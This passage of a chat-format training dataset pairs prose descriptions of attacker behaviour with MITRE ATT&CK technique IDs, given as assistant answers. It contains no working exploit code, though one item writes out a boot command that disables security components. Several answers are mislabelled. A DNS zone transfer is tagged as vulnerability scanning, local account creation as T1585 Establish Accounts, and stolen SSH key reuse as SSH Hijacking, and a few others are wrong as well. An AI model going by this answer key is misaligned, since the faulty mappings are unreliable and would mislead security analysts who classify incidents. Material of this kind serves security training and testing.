                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker overwrites the PATH environment variable in a user’s profile to point to a malicious folder, hijacking subsequent command execution."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor rewrites the malware executable to strip any embedded debugging symbols and timestamps before deployment."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised VPN endpoint, the attacker accesses the CLI of a Palo Alto device to exfiltrate logs."
            },
            {
                "role": "assistant",
                "content": "T1059.008 - Command and Scripting Interpreter: Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised online game server serves malicious Java applet that exploits a zero‑day in Java to execute code on the client."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers scrape GitHub repositories and issue trackers for exposed credentials and configuration files."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware wipes the System Volume Information folder, erasing all restore points."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code exfiltrates JWTs from a victim's browser session storage after compromising the front-end JavaScript."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops the TightVNC executable and configures it to start automatically, allowing the threat actor to connect from a command and control server."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies container configuration files via the Docker API to add a malicious entrypoint."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor manipulates authentication protocols such as Kerberos to gain unauthorized access to resources, what MITRE ATT&CK ID represents this action?"
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider places the organization's LDAP bind password in a shared network share file called shared_pass.txt."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs a DLL injection to replace the alert generation function of the host IDS, causing it to emit misleading high‑priority alerts."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor spins up a sandboxed VM on the target machine to perform exfiltration tasks while avoiding forensic analysis."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers create a staging directory on the victim's machine and move collected documents there for later upload."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilized a tool to replay captured hash credentials against the Net-NTLM authentication protocol to access a protected service."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages the Windows Service Control Manager to start a payload disguised as a legitimate service."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages PowerShell to download and execute a PowerShell Empire stager from an external server."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit script dynamically resolves a hard‑coded domain via the system's resolver before downloading additional modules."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates open technical datasets, such as DNS zone dumps, looking for hostnames and credentials."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging the Windows Connection Manager Profile Installer, the threat actor proxies execution of a backdoor binary."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Windows Management Instrumentation, the threat actor gathers a list of all current processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is injected via a crafted SQL stored procedure which, when triggered, escalates privileges and creates a new admin user."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker stops the event tracing for Windows (ETW) provider and clears the Security logs."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage tool uses BITS to schedule periodic retrieval of configuration files from a hidden HTTP endpoint."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary employs insider threats by manipulating or bribing someone with authorized access to manually grant them elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated intrusion employs a legitimate cloud storage API (e.g., AWS S3) to hide command‑and‑control traffic, using the storage bucket as a dead‑drop resolver for victims."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs a DNS zone transfer attempt to gather subdomain information for further scanning."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Active Scanning: Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker copied a phishing payload onto multiple endpoints via a shared folder to increase spread."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged Windows Remote Management to execute PowerShell commands on a remote host after enabling WinRM and authenticating with stolen credentials."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages the DCSync technique by requesting the KRBTGT account credentials via LDAP to replicate domain authentication data."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses VBA stomping to replace legitimate VBA routines with malicious ones, effectively hiding the malicious code within a trusted document."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A bootkit installs a rootkit in the master boot record, enabling it to run before Windows loads."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat installs a covert sniffer to capture traffic from VPN connections on the target system."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a list of compromised hosts as DNS resolvers, rotating DNS records to evade blacklist detection."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used a self-signed certificate with a mismatched publisher name to sign a credential dumping tool, tricking endpoint protection into allowing its execution."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a combination of HTML tags and JavaScript to reconstruct a DLL in memory, evading endpoint protection by avoiding file system writes."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code injected via a supply chain attack modified the authentication token validation logic on a load balancer, allowing unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages public social media APIs to collect email addresses associated with a target domain."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages InstallUtil.exe to run a malicious .NET assembly, proxying execution through a legitimate system binary."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat leverages Windows' inter‑process communication via DDE to silently execute PowerShell commands."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Kerberoasting technique, the attacker harvests service tickets for accounts with SPNs, then conducts dictionary attacks on the ticket hashes to reveal clear‑text passwords."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary drops a malicious COM server and registers it under a well-known CLSID, tricking applications into loading the malicious module when they request the COM object."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages compromised credentials to edit the Active Directory object's SIDHistory attribute, granting elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1134.005 - Access Token Manipulation: SID-History Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors add a local administrator account via PowerShell to ensure continued control."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a malicious SMB share, the attacker forces the target system to request authentication, recording the supplied NTLM hashes."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is added to the firmware of a network switch during the device’s assembly process, allowing remote command execution after deployment."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign tricks users into opening a crafted document that triggers Verclsid.exe to launch a PowerShell backdoor."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exfiltrates data by adding it as comments in legitimate JavaScript files served from the compromised web server."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a technique that prevents the operating system from delivering interrupt signals to the malicious process, keeping it hidden."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group injects a malicious payload into a CI/CD pipeline by uploading a compromised package to the repository, which is later deployed to production servers."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rundll32 is used to launch a DLL that contains a C2 communication module, enabling persistent remote access."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script alters the registry to set security software into passive mode."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a malicious PowerShell script, the threat actor retrieves cached domain credentials from the registry."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a remote PowerShell session to execute the command \"Get-Mailbox -ResultSize Unlimited\" on the Exchange server."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Account Discovery: Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insiders establish extra local accounts on critical servers, granting them remote desktop access."
            },
            {
                "role": "assistant",
                "content": "T1585 - Establish Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By injecting forged argument strings into the process table, the adversary makes a malicious script appear as a standard Windows update installer in task manager."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker opens an SSH connection to a compromised Linux host to execute commands remotely."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages a compromised SSH key to authenticate to other servers without passwords."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infiltration technique uses traffic signaling: the attacker sends specially crafted DNS queries to a series of ports, and upon receiving the correct sequence, the victim’s system opens a backdoor on port 3389."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries obtained a custom backdoor by purchasing it from an underground cybercrime market and deployed it on victim systems."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The code contains a self‑verification step that aborts when it detects a low‑entropy random number generator typical of sandbox environments."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses DLL injection to hook the Windows Credential Provider API, harvesting user passwords."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit uses the \"fdisk\" utility to delete all partitions and write zeros to the disk header, wiping the structure."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After obtaining credentials via credential stuffing, the adversary edited the site’s ‘About Us’ page to include extremist propaganda, constituting a defacement."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a browser automation tool, the threat actor logged into Confluence and programmatically saved every page as PDF."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker clears Windows Event Logs after gaining admin rights."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By placing a malicious DLL in a location that appears before the legitimate one in the process's load order, the attacker injects code via list planting."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder exploits a deserialization flaw to inject a payload that manipulates content displayed to end‑users."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "External hackers compromised the web server credentials and replaced the site's index.html with a political slogan, resulting in defacement."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a scheduled task to run bcdedit /set {default} safeboot minimal at system startup, ensuring security components remain disabled."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses XSL script processing by embedding JavaScript in an XSL file that runs on the client side after the XML is transformed."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program invoked the 'touch' command on a Linux server to set the modification time of a hidden script to a past date."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using an installer package with a custom action, the attacker exploits the Installer Service to run arbitrary commands when the installation is initiated."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor extracts the \"TrustAttributes\" from the AD schema to understand domain trust hierarchies."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email triggers a PowerShell one‑liner that downloads encrypted data into a PowerShell variable and executes it directly, employing fileless storage techniques."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
